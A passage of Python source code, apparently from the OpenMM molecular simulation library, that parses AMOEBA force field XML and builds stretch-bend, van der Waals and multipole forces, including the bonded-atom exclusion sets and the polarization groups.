chiralAtomIndex, self.gridIndex[i])\n\n                                # match in reverse order\n\n                                elif (type5 in types1 and type4 in types2 and type3 in types3 and type2 in types4 and type1 in types5):\n                                    chiralAtomIndex = self.getChiralAtomIndex(data, sys, ib, ic, id)\n                                    force.addTorsionTorsion(ie, id, ic, ib, ia, chiralAtomIndex, self.gridIndex[i])\n\n        # set grids\n\n        for (index, grid) in enumerate(self.grids):\n            force.setTorsionTorsionGrid(index, grid)\n        if len(existing) == 0 and force.getNumTorsionTorsions() > 0:\n            sys.addForce(force)\n\nparsers[\"AmoebaTorsionTorsionForce\"] = AmoebaTorsionTorsionGenerator.parseElement\n\n#=============================================================================================\n\n## @private\nclass AmoebaStretchBendGenerator(object):\n\n    #=============================================================================================\n    \"\"\"An AmoebaStretchBendGenerator constructs a AmoebaStretchBendForce.\"\"\"\n    #=============================================================================================\n\n    def __init__(self, forcefield):\n\n        self.forcefield = forcefield\n        self.types1 = []\n        self.types2 = []\n        self.types3 = []\n\n        self.k1 = []\n        self.k2 = []\n\n    #=============================================================================================\n\n    @staticmethod\n    def parseElement(element, forceField):\n        generator = AmoebaStretchBendGenerator(forceField)\n        forceField._forces.append(generator)\n\n        # <AmoebaStretchBendForce stretchBendUnit=\"1.0\">\n        # <StretchBend class1=\"2\" class2=\"1\" class3=\"3\" k1=\"5.25776946506\" k2=\"5.25776946506\" />\n        # <StretchBend class1=\"2\" class2=\"1\" class3=\"4\" k1=\"3.14005676385\" k2=\"3.14005676385\" />\n\n        for stretchBend in element.findall('StretchBend'):\n            types = forceField._findAtomTypes(stretchBend.attrib, 3)\n            if None not in types:\n\n                generator.types1.append(types[0])\n                generator.types2.append(types[1])\n                generator.types3.append(types[2])\n\n                generator.k1.append(float(stretchBend.attrib['k1']))\n                generator.k2.append(float(stretchBend.attrib['k2']))\n\n            else:\n                outputString = \"AmoebaStretchBendGenerator : error getting types: %s %s %s\" % (\n                                    stretchBend.attrib['class1'],\n                                    stretchBend.attrib['class2'],\n                                    stretchBend.attrib['class3'])\n                raise ValueError(outputString)\n\n    #=============================================================================================\n\n    # The setup of this force is dependent on AmoebaBondForce and AmoebaAngleForce\n    # having been called since the ideal bond lengths and angle are needed here.\n    # As a conseqeunce, createForce() is not implemented since it is not guaranteed that the generator for\n    # AmoebaBondForce and AmoebaAngleForce have been called prior to AmoebaStretchBendGenerator().\n    # Instead, createForcePostAmoebaBondForce() is called\n    # after the generators for AmoebaBondForce and AmoebaAngleForce have been called\n\n    #=============================================================================================\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n        if not any(isinstance(f, AmoebaOutOfPlaneBendGenerator) for f in self.forcefield.getGenerators()):\n            raise ValueError('A ForceField containing an <AmoebaStretchBendForce> must also contain an <AmoebaOutOfPlaneBendForce>')\n\n    #=============================================================================================\n\n    # Note: request for constrained bonds is ignored.\n\n    #=============================================================================================\n\n    def createForcePostAmoebaBondForce(self, sys, data, nonbondedMethod, nonbondedCutoff, angleList, args):\n\n        energy = \"(k1*(distance(p1,p2)-r12) + k2*(distance(p2,p3)-r23))*(%.15g*(angle(p1,p2,p3)-theta0))\" % (180/math.pi)\n        existing = [f for f in sys.getForces() if type(f) == mm.CustomCompoundBondForce and f.getEnergyFunction() == energy]\n        if len(existing) == 0:\n            force = mm.CustomCompoundBondForce(3, energy)\n            force.addPerBondParameter(\"r12\")\n            force.addPerBondParameter(\"r23\")\n            force.addPerBondParameter(\"theta0\")\n            force.addPerBondParameter(\"k1\")\n            force.addPerBondParameter(\"k2\")\n            force.setName('AmoebaStretchBend')\n            sys.addForce(force)\n        else:\n            force = existing[0]\n\n        for angleDict in angleList:\n\n            angle = angleDict['angle']\n\n            type1 = data.atomType[data.atoms[angle[0]]]\n            type2 = data.atomType[data.atoms[angle[1]]]\n            type3 = data.atomType[data.atoms[angle[2]]]\n\n            radian = 57.2957795130\n            for i in range(len(self.types1)):\n\n                types1 = self.types1[i]\n                types2 = self.types2[i]\n                types3 = self.types3[i]\n\n                # match types\n                # get ideal bond lengths, bondAB, bondCB\n                # get ideal angle\n\n                if (type2 in types2 and ((type1 in types1 and type3 in types3) or (type3 in types1 and type1 in types3))):\n                    bondAB = -1.0\n                    bondCB = -1.0\n                    swap = 0\n                    for bond in data.atomBonds[angle[1]]:\n                        atom1 = data.bonds[bond].atom1\n                        atom2 = data.bonds[bond].atom2\n                        length = data.bonds[bond].length\n                        if (atom1 == angle[0]):\n                            bondAB = length\n                        if (atom1 == angle[2]):\n                            bondCB = length\n                        if (atom2 == angle[2]):\n                            bondCB = length\n                        if (atom2 == angle[0]):\n                            bondAB = length\n\n                    # check that ideal angle and bonds are set\n\n                    if ('idealAngle' not in angleDict):\n\n                       outputString = \"AmoebaStretchBendGenerator: ideal angle is not set for following entry:\\n\"\n                       outputString += \"   types: %5s %5s %5s atoms: \" % (type1, type2, type3)\n                       outputString += getAtomPrint( data, angle[0] ) + ' '\n                       outputString += getAtomPrint( data, angle[1] ) + ' '\n                       outputString += getAtomPrint( data, angle[2] )\n                       raise ValueError(outputString)\n\n                    elif (bondAB < 0 or bondCB < 0):\n\n                       outputString = \"AmoebaStretchBendGenerator: bonds not set: %15.7e %15.7e. for following entry:\" % (bondAB, bondCB)\n                       outputString += \"     types: [%5s %5s %5s] atoms: \" % (type1, type2, type3)\n                       outputString += getAtomPrint( data, angle[0] ) + ' '\n                       outputString += getAtomPrint( data, angle[1] ) + ' '\n                       outputString += getAtomPrint( data, angle[2] )\n                       raise ValueError(outputString)\n\n                    else:\n                        if type1 in types1 and type3 in types3:\n                            k1, k2 = self.k1[i], self.k2[i]\n                        else:\n                            k1, k2 = self.k2[i], self.k1[i]\n                        force.addBond((angle[0], angle[1], angle[2]), (bondAB, bondCB, angleDict['idealAngle']/radian, k1, k2))\n\n                    break\n\nparsers[\"AmoebaStretchBendForce\"] = AmoebaStretchBendGenerator.parseElement\n\n#=============================================================================================\n\n## @private\nclass AmoebaVdwGenerator(object):\n\n    \"\"\"A AmoebaVdwGenerator constructs a AmoebaVdwForce.\"\"\"\n\n    #=============================================================================================\n\n    def __init__(self, type, radiusrule, radiustype, radiussize, epsilonrule, vdw13Scale, vdw14Scale, vdw15Scale):\n\n        self.type = type\n\n        self.radiusrule = radiusrule\n        self.radiustype = radiustype\n        self.radiussize = radiussize\n\n        self.epsilonrule = epsilonrule\n\n        self.vdw13Scale = vdw13Scale\n        self.vdw14Scale = vdw14Scale\n        self.vdw15Scale = vdw15Scale\n\n    #=============================================================================================\n\n    @staticmethod\n    def parseElement(element, forceField):\n\n        # <AmoebaVdwForce type=\"BUFFERED-14-7\" radiusrule=\"CUBIC-MEAN\" radiustype=\"R-MIN\" radiussize=\"DIAMETER\" epsilonrule=\"HHG\" vdw-13-scale=\"0.0\" vdw-14-scale=\"1.0\" vdw-15-scale=\"1.0\" >\n        #   <Vdw class=\"1\" sigma=\"0.371\" epsilon=\"0.46024\" reduction=\"1.0\" />\n        #   <Vdw class=\"2\" sigma=\"0.382\" epsilon=\"0.422584\" reduction=\"1.0\" />\n\n        existing = [f for f in forceField._forces if isinstance(f, AmoebaVdwGenerator)]\n        if len(existing) == 0:\n            generator = AmoebaVdwGenerator(element.attrib['type'], element.attrib['radiusrule'], element.attrib['radiustype'], element.attrib['radiussize'], element.attrib['epsilonrule'],\n                                        float(element.attrib['vdw-13-scale']), float(element.attrib['vdw-14-scale']), float(element.attrib['vdw-15-scale']))\n            forceField.registerGenerator(generator)\n            generator.params = {}\n            generator.pairs = []\n        else:\n            # Multiple <AmoebaVdwForce> tags were found, probably in different files.  Simply add more types to the existing one.\n            generator = existing[0]\n            if abs(generator.vdw13Scale - float(element.attrib['vdw-13-scale'])) > NonbondedGenerator.SCALETOL or \\\n                    abs(generator.vdw14Scale - float(element.attrib['vdw-14-scale'])) > NonbondedGenerator.SCALETOL or \\\n                    abs(generator.vdw15Scale - float(element.attrib['vdw-15-scale'])) > NonbondedGenerator.SCALETOL:\n                raise ValueError('Found multiple AmoebaVdwForce tags with different scale factors')\n            if generator.radiusrule != element.attrib['radiusrule'] or generator.epsilonrule != element.attrib['epsilonrule'] or \\\n                    generator.radiustype != element.attrib['radiustype'] or generator.radiussize != element.attrib['radiussize']:\n                raise ValueError('Found multiple AmoebaVdwForce tags with different combining rules')\n        for vdw in element.findall('Vdw'):\n            generator.params[vdw.attrib['class']] = tuple(float(vdw.attrib[name]) for name in ('sigma', 'epsilon', 'reduction'))\n        for pair in element.findall('Pair'):\n            generator.pairs.append((pair.attrib['class1'], pair.attrib['class2'], float(pair.attrib['sigma']), float(pair.attrib['epsilon'])))\n        generator.classNameForType = dict((t.name, t.atomClass) for t in forceField._atomTypes.values())\n\n    #=============================================================================================\n\n    @staticmethod\n    def getBondedParticleSets(sys, data):\n\n        bondedParticleSets = [set() for i in range(len(data.atoms))]\n        bondIndices = _findBondsForExclusions(data, sys)\n        for atom1, atom2 in bondIndices:\n            bondedParticleSets[atom1].add(atom2)\n            bondedParticleSets[atom2].add(atom1)\n        return bondedParticleSets\n\n    #=============================================================================================\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n\n        potentialMap = {'BUFFERED-14-7':0, 'LENNARD-JONES':1}\n        sigmaMap = {'ARITHMETIC':1, 'GEOMETRIC':1, 'CUBIC-MEAN':1}\n        epsilonMap = {'ARITHMETIC':1, 'GEOMETRIC':1, 'HARMONIC':1, 'W-H':1, 'HHG':1}\n\n        force = mm.AmoebaVdwForce()\n        sys.addForce(force)\n\n        # Potential function\n\n        if (self.type.upper() in potentialMap):\n            force.setPotentialFunction(potentialMap[self.type.upper()])\n        else:\n            stringList = ' '.join(str(x) for x in potentialMap.keys())\n            raise ValueError(\"AmoebaVdwGenerator: potential type %s not recognized; valid values are %s; using default.\" % (self.type, stringList))\n\n        # sigma and epsilon combining rules\n\n        if ('sigmaCombiningRule' in args):\n            sigmaRule = args['sigmaCombiningRule'].upper()\n            if (sigmaRule.upper() in sigmaMap):\n                force.setSigmaCombiningRule(sigmaRule.upper())\n            else:\n                stringList = ' ' . join(str(x) for x in sigmaMap.keys())\n                raise ValueError( \"AmoebaVdwGenerator: sigma combining rule %s not recognized; valid values are %s; using default.\" % (sigmaRule, stringList) )\n        else:\n            force.setSigmaCombiningRule(self.radiusrule)\n\n        if ('epsilonCombiningRule' in args):\n            epsilonRule = args['epsilonCombiningRule'].upper()\n            if (epsilonRule.upper() in epsilonMap):\n                force.setEpsilonCombiningRule(epsilonRule.upper())\n            else:\n                stringList = ' ' . join(str(x) for x in epsilonMap.keys())\n                raise ValueError( \"AmoebaVdwGenerator: epsilon combining rule %s not recognized; valid values are %s; using default.\" % (epsilonRule, stringList) )\n        else:\n            force.setEpsilonCombiningRule(self.epsilonrule)\n\n        # cutoff\n\n        if ('vdwCutoff' in args):\n            force.setCutoff(args['vdwCutoff'])\n        else:\n            force.setCutoff(nonbondedCutoff)\n\n        # dispersion correction\n\n        if ('useDispersionCorrection' in args):\n            force.setUseDispersionCorrection(bool(args['useDispersionCorrection']))\n\n        if (nonbondedMethod == PME):\n            force.setNonbondedMethod(mm.AmoebaVdwForce.CutoffPeriodic)\n\n        # Define types\n\n        sigmaScale = 1\n        if self.radiustype == 'SIGMA':\n            sigmaScale = 1.122462048309372\n        if self.radiussize == 'DIAMETER':\n            sigmaScale = 0.5\n        classToTypeMap = {}\n        for className in self.params:\n            sigma, epsilon, _ = self.params[className]\n            classToTypeMap[className] = force.addParticleType(sigma*sigmaScale, epsilon)\n\n        # add particles to force\n\n        for (i, atom) in enumerate(data.atoms):\n            className = self.classNameForType[data.atomType[atom]]\n            _, _, reduction = self.params[className]\n            # ivIndex = index of bonded partner for hydrogens; otherwise ivIndex = particle index\n\n            ivIndex = i\n            if atom.element == elem.hydrogen and len(data.atomBonds[i]) == 1:\n                bondIndex = data.atomBonds[i][0]\n                if (data.bonds[bondIndex].atom1 == i):\n                    ivIndex = data.bonds[bondIndex].atom2\n                else:\n                    ivIndex = data.bonds[bondIndex].atom1\n\n            force.addParticle(ivIndex, classToTypeMap[className], reduction)\n\n        # Add pairs\n\n        for c1, c2, sigma, epsilon in self.pairs:\n            force.addTypePair(classToTypeMap[c1], classToTypeMap[c2], sigma, epsilon)\n\n        # set combining rules\n\n        # set particle exclusions: self, 1-2 and 1-3 bonds\n        # (1) collect in bondedParticleSets[i], 1-2 indices for all bonded partners of particle i\n        # (2) add 1-2,1-3 and self to exclusion set\n\n        bondedParticleSets = AmoebaVdwGenerator.getBondedParticleSets(sys, data)\n\n        for (i,atom) in enumerate(data.atoms):\n\n            # 1-2 partners\n\n            exclusionSet = bondedParticleSets[i].copy()\n\n            # 1-3 partners\n\n            if (self.vdw13Scale == 0.0):\n                for bondedParticle in bondedParticleSets[i]:\n                    exclusionSet = exclusionSet.union(bondedParticleSets[bondedParticle])\n\n            # self\n\n            exclusionSet.add(i)\n\n            force.setParticleExclusions(i, tuple(exclusionSet))\n\nparsers[\"AmoebaVdwForce\"] = AmoebaVdwGenerator.parseElement\n\n#=============================================================================================\n\n## @private\nclass AmoebaMultipoleGenerator(object):\n\n    #=============================================================================================\n\n    \"\"\"A AmoebaMultipoleGenerator constructs a AmoebaMultipoleForce.\"\"\"\n\n    #=============================================================================================\n\n    def __init__(self, forceField):\n        self.forceField = forceField\n        self.typeMap = {}\n\n    #=============================================================================================\n    # Set axis type\n    #=============================================================================================\n\n    @staticmethod\n    def setAxisType(kIndices):\n\n                # set axis type\n\n                kIndicesLen = len(kIndices)\n                if (kIndicesLen > 3):\n                    ky = kIndices[3]\n                else:\n                    ky = 0\n\n                if (kIndicesLen > 2):\n                    kx = kIndices[2]\n                else:\n                    kx = 0\n\n                if (kIndicesLen > 1):\n                    kz = kIndices[1]\n                else:\n                    kz = 0\n\n                while(len(kIndices) < 4):\n                    kIndices.append(0)\n\n                axisType = mm.AmoebaMultipoleForce.ZThenX\n                if (kz == 0):\n                    axisType = mm.AmoebaMultipoleForce.NoAxisType\n                if (kz != 0 and kx == 0):\n                    axisType = mm.AmoebaMultipoleForce.ZOnly\n                if (kz < 0 or kx < 0):\n                    axisType = mm.AmoebaMultipoleForce.Bisector\n                if (kx < 0 and ky < 0):\n                    axisType = mm.AmoebaMultipoleForce.ZBisect\n                if (kz < 0 and kx < 0 and ky  < 0):\n                    axisType = mm.AmoebaMultipoleForce.ThreeFold\n\n                kIndices[1] = abs(kz)\n                kIndices[2] = abs(kx)\n                kIndices[3] = abs(ky)\n\n                return axisType\n\n    #=============================================================================================\n\n    @staticmethod\n    def parseElement(element, forceField):\n\n        #   <AmoebaMultipoleForce  direct11Scale=\"0.0\"  direct12Scale=\"1.0\"  direct13Scale=\"1.0\"  direct14Scale=\"1.0\"  mpole12Scale=\"0.0\"  mpole13Scale=\"0.0\"  mpole14Scale=\"0.4\"  mpole15Scale=\"0.8\"  mutual11Scale=\"1.0\"  mutual12Scale=\"1.0\"  mutual13Scale=\"1.0\"  mutual14Scale=\"1.0\"  polar12Scale=\"0.0\"  polar13Scale=\"0.0\"  polar14Intra=\"0.5\"  polar14Scale=\"1.0\"  polar15Scale=\"1.0\"  >\n        # <Multipole class=\"1\"    kz=\"2\"    kx=\"4\"    c0=\"-0.22620\" d1=\"0.08214\" d2=\"0.00000\" d3=\"0.34883\" q11=\"0.11775\" q21=\"0.00000\" q22=\"-1.02185\" q31=\"-0.17555\" q32=\"0.00000\" q33=\"0.90410\"  />\n        # <Multipole class=\"2\"    kz=\"1\"    kx=\"3\"    c0=\"-0.15245\" d1=\"0.19517\" d2=\"0.00000\" d3=\"0.19687\" q11=\"-0.20677\" q21=\"0.00000\" q22=\"-0.48084\" q31=\"-0.01672\" q32=\"0.00000\" q33=\"0.68761\"  />\n\n        existing = [f for f in forceField._forces if isinstance(f, AmoebaMultipoleGenerator)]\n        if len(existing) == 0:\n            generator = AmoebaMultipoleGenerator(forceField)\n            forceField.registerGenerator(generator)\n        else:\n            # Multiple <AmoebaMultipoleForce> tags were found, probably in different files.  Simply add more types to the existing one.\n            generator = existing[0]\n\n        # set type map: [ kIndices, multipoles, AMOEBA/OpenMM axis type]\n\n        for atom in element.findall('Multipole'):\n            types = forceField._findAtomTypes(atom.attrib, 1)\n            if None not in types:\n\n                # k-indices not provided default to 0\n\n                kIndices = [int(atom.attrib['type'])]\n\n                kStrings = [ 'kz', 'kx', 'ky' ]\n                for kString in kStrings:\n                    kIndices.append(int(atom.attrib.get(kString,0)))\n\n                # set axis type based on k-Indices\n\n                axisType = AmoebaMultipoleGenerator.setAxisType(kIndices)\n\n                # set multipole\n\n                charge = float(atom.attrib['c0'])\n\n                conversion = 1.0\n                dipole = [ conversion*float(atom.attrib['d1']), conversion*float(atom.attrib['d2']), conversion*float(atom.attrib['d3'])]\n\n                quadrupole = []\n                quadrupole.append(conversion*float(atom.attrib['q11']))\n                quadrupole.append(conversion*float(atom.attrib['q21']))\n                quadrupole.append(conversion*float(atom.attrib['q31']))\n                quadrupole.append(conversion*float(atom.attrib['q21']))\n                quadrupole.append(conversion*float(atom.attrib['q22']))\n                quadrupole.append(conversion*float(atom.attrib['q32']))\n                quadrupole.append(conversion*float(atom.attrib['q31']))\n                quadrupole.append(conversion*float(atom.attrib['q32']))\n                quadrupole.append(conversion*float(atom.attrib['q33']))\n\n                for t in types[0]:\n                    if (t not in generator.typeMap):\n                        generator.typeMap[t] = []\n\n                    valueMap = dict()\n                    valueMap['classIndex'] = atom.attrib['type']\n                    valueMap['kIndices'] = kIndices\n                    valueMap['charge'] = charge\n                    valueMap['dipole'] = dipole\n                    valueMap['quadrupole'] = quadrupole\n                    valueMap['axisType'] = axisType\n                    generator.typeMap[t].append(valueMap)\n\n            else:\n                outputString = \"AmoebaMultipoleGenerator: error getting type for multipole: %s\" % (atom.attrib['class'])\n                raise ValueError(outputString)\n\n        # polarization parameters\n\n        for atom in element.findall('Polarize'):\n            types = forceField._findAtomTypes(atom.attrib, 1)\n            if None not in types:\n\n                classIndex = atom.attrib['type']\n                polarizability = float(atom.attrib['polarizability'])\n                thole = float(atom.attrib['thole'])\n                if (thole == 0):\n                    pdamp = 0\n                else:\n                    pdamp = pow(polarizability, 1.0/6.0)\n\n                pgrpMap = dict()\n                for index in range(1, 7):\n                    pgrp = 'pgrp' + str(index)\n                    if (pgrp in atom.attrib):\n                        pgrpMap[int(atom.attrib[pgrp])] = -1\n\n                for t in types[0]:\n                    if (t not in generator.typeMap):\n                        outputString = \"AmoebaMultipoleGenerator: polarize type not present: %s\" % (atom.attrib['type'])\n                        raise ValueError(outputString)\n                    else:\n                        typeMapList = generator.typeMap[t]\n                        hit = 0\n                        for (ii, typeMap) in enumerate(typeMapList):\n\n                            if (typeMap['classIndex'] == classIndex):\n                                typeMap['polarizability'] = polarizability\n                                typeMap['thole'] = thole\n                                typeMap['pdamp'] = pdamp\n                                typeMap['pgrpMap'] = pgrpMap\n                                typeMapList[ii] = typeMap\n                                hit = 1\n\n                        if (hit == 0):\n                            outputString = \"AmoebaMultipoleGenerator: error getting type for polarize: class index=%s not in multipole list?\" % (atom.attrib['class'])\n                            raise ValueError(outputString)\n\n            else:\n                outputString = \"AmoebaMultipoleGenerator: error getting type for polarize: %s\" % (atom.attrib['class'])\n                raise ValueError(outputString)\n\n    #=============================================================================================\n\n    def setPolarGroups(self, data, bonded12ParticleSets, force):\n\n        for (atomIndex, atom) in enumerate(data.atoms):\n\n            # assign multipole parameters via only 1-2 connected atoms\n\n            multipoleDict = atom.multipoleDict\n            pgrpMap = multipoleDict['pgrpMap']\n            bondedAtomIndices = bonded12ParticleSets[atomIndex]\n            atom.stage = -1\n            atom.polarizationGroupSet = list()\n            atom.polarizationGroups[atomIndex] = 1\n            for bondedAtomIndex in bondedAtomIndices:\n                bondedAtomType = int(data.atomType[data.atoms[bondedAtomIndex]])\n                bondedAtom = data.atoms[bondedAtomIndex]\n                if (bondedAtomType in pgrpMap):\n                    atom.polarizationGroups[bondedAtomIndex] = 1\n                    bondedAtom.polarizationGroups[atomIndex] = 1\n\n        # pgrp11\n\n        for (atomIndex, atom) in enumerate(data.atoms):\n\n            if (len( data.atoms[atomIndex].polarizationGroupSet) > 0):\n                continue\n\n            group = set()\n            visited = set()\n            notVisited = set()\n            for pgrpAtomIndex in atom.polarizationGroups:\n                group.add(pgrpAtomIndex)\n                notVisited.add(pgrpAtomIndex)\n            visited.add(atomIndex)\n            while(len(notVisited) > 0):\n                nextAtom = notVisited.pop()\n                if (nextAtom not in visited):\n                   visited.add(nextAtom)\n                   for ii in data.atoms[nextAtom].polarizationGroups:\n                       group.add(ii)\n                       if (ii not in visited):\n                           notVisited.add(ii)\n\n            pGroup = group\n            for pgrpAtomIndex in group:\n                data.atoms[pgrpAtomIndex].polarizationGroupSet.append(pGroup)\n\n        for (atomIndex, atom) in enumerate(data.atoms):\n            atom.polarizationGroupSet[0] = sorted(atom.polarizationGroupSet[0])\n            force.setCovalentMap(atomIndex, mm.AmoebaMultipoleForce.PolarizationCovalent11, atom.polarizationGroupSet[0])\n\n        # pgrp12\n\n        for (atomIndex, atom) in enumerate(data.atoms):\n\n            if (len( data.atoms[atomIndex].polarizationGroupSet) > 1):\n                continue\n\n            pgrp11 = set(atom.polarizationGroupSet[0])\n            pgrp12 = set()\n            for pgrpAtomIndex in pgrp11:\n                for bonded12 in bonded12ParticleSets[pgrpAtomIndex]:\n                    pgrp12 = pgrp12.union(data.atoms[bonded12].polarizationGroupSet[0])\n            pgrp12 = pgrp12 - pgrp11\n            for pgrpAtomIndex in pgrp11:\n                data.atoms[pgrpAtomIndex].polarizationGroupSet.append(pgrp12)\n\n        for (atomIndex, atom) in enumerate(data.atoms):\n            atom.polarizationGroupSet[1] = sorted(atom.polarizationGroupSet[1])\n            force.setCovalentMap(atomIndex, mm.AmoebaMultipoleForce.PolarizationCovalent12, atom.polarizationGroupSet[1])\n\n        # pgrp13\n\n        for (atomIndex, atom) in enumerate(data.atoms):\n\n            if (len(data.atoms[atomIndex].polarizationGroupSet) > 2):\n                continue\n\n            pgrp11 = set(atom.polarizationGroupSet[0])\n            pgrp12 = set(atom.polarizationGroupSet[1])\n            pgrp13 = set()\n            for pgrpAtomIndex in pgrp12:\n                for bonded12 in bonded12ParticleSets[pgrpAtomIndex]:\n                    pgrp13 = pgrp13.union(data.atoms[bonded12].polarizationGroupSet[0])\n            pgrp13 = pgrp13 - pgrp12\n            pgrp13 = pgrp13 - set(pgrp11)\n            for pgrpAtomIndex in pgrp11:\n                data.atoms[pgrpAtomIndex].polarizationGroupSet.append(pgrp13)\n\n        for (atomIndex, atom) in enumerate(data.atoms):\n            atom.polarizationGroupSet[2] = sorted(atom.polarizationGroupSet[2])\n            force.setCovalentMap(atomIndex, mm.AmoebaMultipoleForce.PolarizationCovalent13, atom.polarizationGroupSet[2])\n\n        # pgrp14\n\n        for (atomIndex, atom) in enumerate(data.atoms):\n\n            if (len(data.atoms[atomIndex].polarizationGroupSet) > 3):\n                continue\n\n            pgrp11 = set(atom.polarizationGroupSet[0])\n            pgrp12 = set(atom.polarizationGroupSet[1])\n            pgrp13 = set(atom.polarizationGroupSet[2])\n            pgrp14 = set()\n            for pgrpAtomIndex in pgrp13:\n                for bonded12 in bonded12ParticleSets[pgrpAtomIndex]:\n                    pgrp14 = pgrp14.union(data.atoms[bonded12].polarizationGroupSet[0])\n\n            pgrp14 = pgrp14 - pgrp13\n            pgrp14 = pgrp14 - pgrp12\n            pgrp14 = pgrp14 - set(pgrp11)\n\n            for pgrpAtomIndex in pgrp11:\n                data.atoms[pgrpAtomIndex].polarizationGroupSet.append(pgrp14)\n\n        for (atomIndex, atom) in enumerate(data.atoms):\n            atom.polarizationGroupSet[3] = sorted(atom.polarizationGroupSet[3])\n            force.setCovalentMap(atomIndex, mm.AmoebaMultipoleForce.PolarizationCovalent14, atom.polarizationGroupSet[3])\n\n    #=============================================================================================\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n\n        methodMap = {NoCutoff:mm.AmoebaMultipoleForce.NoCutoff,\n                     PME:mm.AmoebaMultipoleForce.PME}\n\n        force = mm.AmoebaMultipoleForce()\n        sys.addForce(force)\n        if (nonbondedMethod not in methodMap):\n            raise ValueError( \"AmoebaMultipoleForce: input cutoff method not available.\" )\n        else:\n            force.setNonbondedMethod(methodMap[nonbondedMethod])\n        force.setCutoffDistance(nonbondedCutoff)\n\n        if ('ewaldErrorTolerance' in args):\n            force.setEwaldErrorTolerance(float(args['ewaldErrorTolerance']))\n\n        if ('polarization' in args):\n            polarizationType = args['polarization']\n            if (polarizationType.lower() == 'direct'):\n                force.setPolarizationType(mm.AmoebaMultipoleForce.Direct)\n            elif (polarizationType.lower() == 'extrapolated'):\n                force.setPolarizationType(mm.AmoebaMultipoleForce.Extrapolated)\n            else:\n                force.setPolarizationType(mm.AmoebaMultipoleForce.Mutual)\n\n        if ('aEwald' in args):\n            force.setAEwald(float(args['aEwald']))\n\n        if ('pmeGridDimensions' in args):\n            force.setPmeGridDimensions(args['pmeGridDimensions'])\n\n        if ('mutualInducedMaxIterations' in args):\n            force.setMutualInducedMaxIterations(int(args['mutualInducedMaxIterations']))\n\n        if ('mutualInducedTargetEpsilon' in args):\n            force.setMutualInducedTargetEpsilon(float(args['mutualInducedTargetEpsilon']))\n\n        # add particles to force\n        # throw error if particle type not available\n\n        # get 1-2, 1-3, 1-4, 1-5 bonded sets\n\n        # 1-2\n\n        bonded12ParticleSets = AmoebaVdwGenerator.getBondedParticleSets(sys, data)\n\n        # 1-3\n\n        bonded13ParticleSets = []\n        for i in range(len(data.atoms)):\n            bonded13Set = set()\n            bonded12ParticleSet = bonded12ParticleSets[i]\n            for j in bonded12ParticleSet:\n                bonded13Set = bonded13Set.union(bonded12ParticleSets[j])\n\n            # remove 1-2 and self from set\n\n            bonded13Set = bonded13Set - bonded12ParticleSet\n            selfSet = set()\n            selfSet.add(i)\n            bonded13Set = bonded13Set - selfSet\n            bonded13Set = set(sorted(bonded13Set))\n            bonded13ParticleSets.append(bonded13Set)\n\n        # 1-4\n\n        bonded14ParticleSets = []\n        for i in range(len(data.atoms)):\n            bonded14Set = set()\n            bonded13ParticleSet = bonded13ParticleSets[i]\n            for j in bonded13ParticleSet:\n                bonded14Set = bonded14Set.union(bonded12ParticleSets[j])\n\n            # remove 1-3, 1-2 and self from set\n\n            bonded14Set = bonded14Set - bonded12ParticleSets[i]\n            bonded14Set = bonded14Set - bonded13ParticleSet\n            selfSet = set()\n            selfSet.add(i)\n            bonded14Set = bonded14Set - selfSet\n            bonded14Set = set(sorted(bonded14Set))\n            bonded14ParticleSets.append(bonded14Set)\n\n        # 1-5\n\n        bonded15ParticleSets = []\n        for i in range(len(data.atoms)):\n            bonded15Set = set()\n            bonded14ParticleSet = bonded14ParticleSets[i]\n            for j in bonded14ParticleSet:\n                bonded15Set = bonded15Set.union(bonded12ParticleSets[j])\n\n            # remove 1-4, 1-3, 1-2 and self from set\n\n            bonded15Set = bonded15Set - bonded12ParticleSets[i]\n            bonded15Set = bonded15Set - bonded13ParticleSets[i]\n            bonded15Set = bonded15Set - bonded14ParticleSet\n            selfSet = set()\n            selfSet.add(i)\n            bonded15Set = bonded15Set - selfSet\n            bonded15Set = set(sorted(bonded15Set))\n            bonded15ParticleSets.append(bonded15Set)\n\n        for (atomIndex, atom) in enumerate(data.atoms):\n            t = data.atomType[atom]\n            if t in self.typeMap:\n\n                multipoleList = self.typeMap[t]\n                hit = 0\n                savedMultipoleDict = 0\n\n                # assign multipole parameters via only 1-2 connected atoms\n\n                for multipoleDict in multipoleList:\n\n                    if (hit != 0):\n                        break\n\n                    kIndices = multipoleDict['kIndices']\n\n                    kz = kIndices[1]\n                    kx = kIndices[2]\n                    ky = kIndices[3]\n\n                    # assign multipole parameters\n                    #    (1) get bonded partners\n                    #    (2) match parameter types\n\n                    bondedAtomIndices = bonded12ParticleSets[atomIndex]\n                    zaxis = -1\n                    xaxis = -1\n                    yaxis = -1\n                    for bondedAtomZIndex in bondedAtomIndices:\n\n                       if (hit != 0):\n                           break\n\n                       bondedAtomZType = int(data.atomType[data.atoms[bondedAtomZIndex]])\n                       bondedAtomZ = data.atoms[bondedAtomZIndex]\n                       if (bondedAtomZType == kz):\n                          for bondedAtomXIndex in bondedAtomIndices:\n                              if (bondedAtomXIndex == bondedAtomZIndex or hit != 0):\n                                  continue\n                              bondedAtomXType = int(data.atomType[data.atoms[bondedAtomXIndex]])\n                              if (bondedAtomXType == kx):\n                                  if (ky == 0):\n                                      zaxis = bondedAtomZIndex\n                                      xaxis = bondedAtomXIndex\n                                      if( bondedAtomXType == bondedAtomZType and xaxis < zaxis ):\n                                          swapI = zaxis\n                                          zaxis = xaxis\n                                          xaxis = swapI\n                                      else:\n                                          for bondedAtomXIndex2 in bondedAtomIndices:\n                                              bondedAtomX1Type = int(data.atomType[data.atoms[bondedAtomXIndex2]])\n                                              if( bondedAtomX1Type == kx and bondedAtomXIndex2 != bondedAtomZIndex and bondedAtomXIndex2 < xaxis ):\n                                                  xaxis = bondedAtomXIndex2\n\n                                      savedMultipoleDict = multipoleDict\n                                      hit = 1\n                                  else:\n                                      for bondedAtomYIndex in bondedAtomIndices:\n                                          if (bondedAtomYIndex == bondedAtomZIndex or bondedAtomYIndex == bondedAtomXIndex or hit != 0):\n                                              continue\n                                          bondedAtomYType = int(data.atomType[data.atoms[bondedAtomYIndex]])\n                                          if (bondedAtomYType == ky):\n                                              zaxis = bondedAtomZIndex\n                                              xaxis = bondedAtomXIndex\n                                              yaxis = bondedAtomYIndex\n                                              savedMultipoleDict = multipoleDict\n                                              hit = 2\n\n                # assign multipole parameters via 1-2 and 1-3 connected atoms\n\n                for multipoleDict 